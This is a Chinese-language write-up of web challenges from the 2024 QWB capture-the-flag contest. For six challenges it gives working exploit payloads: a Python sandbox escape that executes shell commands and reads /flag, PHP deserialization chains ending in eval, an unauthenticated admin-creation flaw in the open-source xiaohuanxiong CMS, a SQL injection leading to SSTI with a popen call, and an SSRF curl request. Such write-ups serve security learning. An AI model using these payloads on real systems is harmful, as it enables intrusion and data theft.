赛题记录 | 2024强网杯WEB部分WP

admin 2024年11月4日11:21:57评论92 views字数 4269阅读14分13秒阅读模式

前言

和学弟一起打CTF就是爽 (公众号运营老哥), 2333.

WEB

PyBlockly

这个题目可以说是全角半角转换题.

赛题记录 | 2024强网杯WEB部分WP

其中check_for_blacklisted_symbols方法不允许payload中出现[!"#$%&'()*+,-./:;<=>?@[\]^_{|}~]这些字符, 如果不存在会经过unidecode.unidecode处理, 这里存在绕过.

赛题记录 | 2024强网杯WEB部分WP

随后将代码写入到run.py中, 这里加了黑名单限制, 简单绕过一下:

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}

可以看到flag, 但读不了, 后面用SUID提权就行:

赛题记录 | 2024强网杯WEB部分WP

随后使用dd进行提权:

{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"},"inputs":{}}]}}

最终结果:

赛题记录 | 2024强网杯WEB部分WP

platform

/www.zip存在源码泄露, 下载源代码开始审计:

赛题记录 | 2024强网杯WEB部分WP

这里程序会对session文件, 将['system', 'eval', 'exec', 'passthru', 'shell_exec', 'popen', 'proc_open']替换为空, 与字符串变短反序列化原理相同, 可以通过计算来打反序列化. 触发点在dashboard.php文件的开头:

赛题记录 | 2024强网杯WEB部分WP

可以进行加载反序列化链路, 链路在class.php中, 准备如下poc:

<?php
class notouchitsclass {
    public $data;
    public function __destruct() {
        eval($this->data);
    }
}

$obj = new notouchitsclass();
$obj -> data = 'EvAl($_REQUEST[0]);';
echo serialize($obj);

最后操作如下:

赛题记录 | 2024强网杯WEB部分WP

xiaohuanxiong

通过信息收集, 得到小浣熊源码. https://github.com/forkable/xiaohuanxiong/

前台 SQL 注入

这个在比赛中没有涉及到, 但是审计到了, 看一下原因. 在applicationserviceBookService.php文件中, 存在DB::query()

赛题记录 | 2024强网杯WEB部分WP

这里前台存在注入, 但是比赛中后台密码是经过md5(密文 + 随机key)生成的, 密码死活爆破不出来.

后台未授权登录

applicationadmincontrollerAdmins.php文件中, 存在后台认证方法覆盖问题:

赛题记录 | 2024强网杯WEB部分WP

所以Admins控制器下所有方法都可以进行未授权操作. 存在一个添加管理员的方法:

public function save(Request $request){
    $data = $request->param();
    $admin = Admin::where('username','=',trim($data['username']))->find();
    if ($admin){
        $this->error('存在同名账号');
    }else{
        $admin = new Admin();
        $admin->username = $data['username'];
        $admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));
        $admin->save();
        $this->success('新增管理员成功');
    }
}

直接越权添加管理员.

赛题记录 | 2024强网杯WEB部分WP

后台代码执行漏洞

赛题记录 | 2024强网杯WEB部分WP

代码执行读flag:

赛题记录 | 2024强网杯WEB部分WP

snake

赛题记录 | 2024强网杯WEB部分WP

修改本地js文件, 玩完之后发现/snake_win?username=admin路由, 进行联合查询, 并发现 SSTI:

赛题记录 | 2024强网杯WEB部分WP

直接调os执行popen就行:

1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__('os').popen('cat /flag').read()')}}"--%20

最终结果:

赛题记录 | 2024强网杯WEB部分WP

Proxy

赛题记录 | 2024强网杯WEB部分WP

通过/v2/api/proxy打请求到/v1/api/flag就行, 准备脚本:

curl -X POST http://47.93.15.136:30891/v2/api/proxy 
-H "Content-Type: application/json" 
-d '{
    "url": "http://127.0.0.1:8769/v1/api/flag",
    "method": "POST",
    "body": "",
    "headers": {},
    "follow_redirects": false
}'

运行一下得flag:

赛题记录 | 2024强网杯WEB部分WP

Password Game

在BP里玩游戏, 防止Header头跳转:

赛题记录 | 2024强网杯WEB部分WP

拿出源码开始审计.

<?php

$GLOBALS['flag'] = 'flag{4545}'# 假设 flag

function filter($password){
    $filter_arr = array("admin","2024qwb");
    $filter = '/'.implode("|",$filter_arr).'/i';
    return preg_replace($filter,"nonono",$password);
}
class guest{
    public $username;
    public $value;
    public function __tostring(){
        if($this->username=="guest"){
            $value();
        }
        return $this->username;
    }
    public function __call($key,$value){
        if($this->username==md5($GLOBALS["flag"])){
            echo $GLOBALS["flag"];
        }
    }
}
class root{
    public $username;
    public $value;
    public function __get($key){
        if(strpos($this->username, "admin") == 0 && $this->value == "2024qwb"){
            $this->value = $GLOBALS["flag"];
            echo md5("hello:".$this->value);
        }
    }
}
class user{
    public $username;
    public $password;
    public $value;
    public function __invoke(){
        $this->username=md5($GLOBALS["flag"]);
        return $this->password->guess();
    }
    public function __destruct(){
        if(strpos($this->username, "admin") == 0 ){
            echo "hello".$this->username;
        }
    }
}

$user=unserialize(filter($_GET["password"]));
if(strpos($user->username, "admin") == 0 && $user->password == "2024qwb"){
    echo "hello!";
}

主要的核心是执行先后顺序问题, 将$user实例化为root对象, 并且自定义一个test属性, 用来放置user, 因为user__destruct是脚本执行完毕才执行, 而root对象 -> value已经提前赋值成flag了, 那么后续可以进行输出$this->username, 令$this->username = root对象 -> value即可, 最终构造payload脚本如下:

<?php
class guest{
    public $username;
}
class root{
    public $username;
}
class user {
    public $username;
    public $value;
}

$obj = new root();
$obj -> username = 'admin';
$obj -> value = '2024qwb';
$obj -> test = new user();
$obj -> test -> username = new guest();
$obj -> test -> username -> username = &$obj -> value;
echo serialize($obj);

生成之后, 序列化串中存在admin|2024qwb, 使用大S绕过就行:

O:4:"root":3:{s:8:"username";S:5:"61dmin";s:5:"value";S:7:"202471wb";s:4:"test";O:4:"user":1:{s:8:"username";O:5:"guest":1:{s:8:"username";R:3;}}}

随后打出flag:

赛题记录 | 2024强网杯WEB部分WP

原文始发于微信公众号(Heihu Share):赛题记录 | 2024强网杯WEB部分WP

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月4日11:21:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   赛题记录 | 2024强网杯WEB部分WPhttps://cn-sec.com/archives/3352494.html

发表评论

匿名网友 填写信息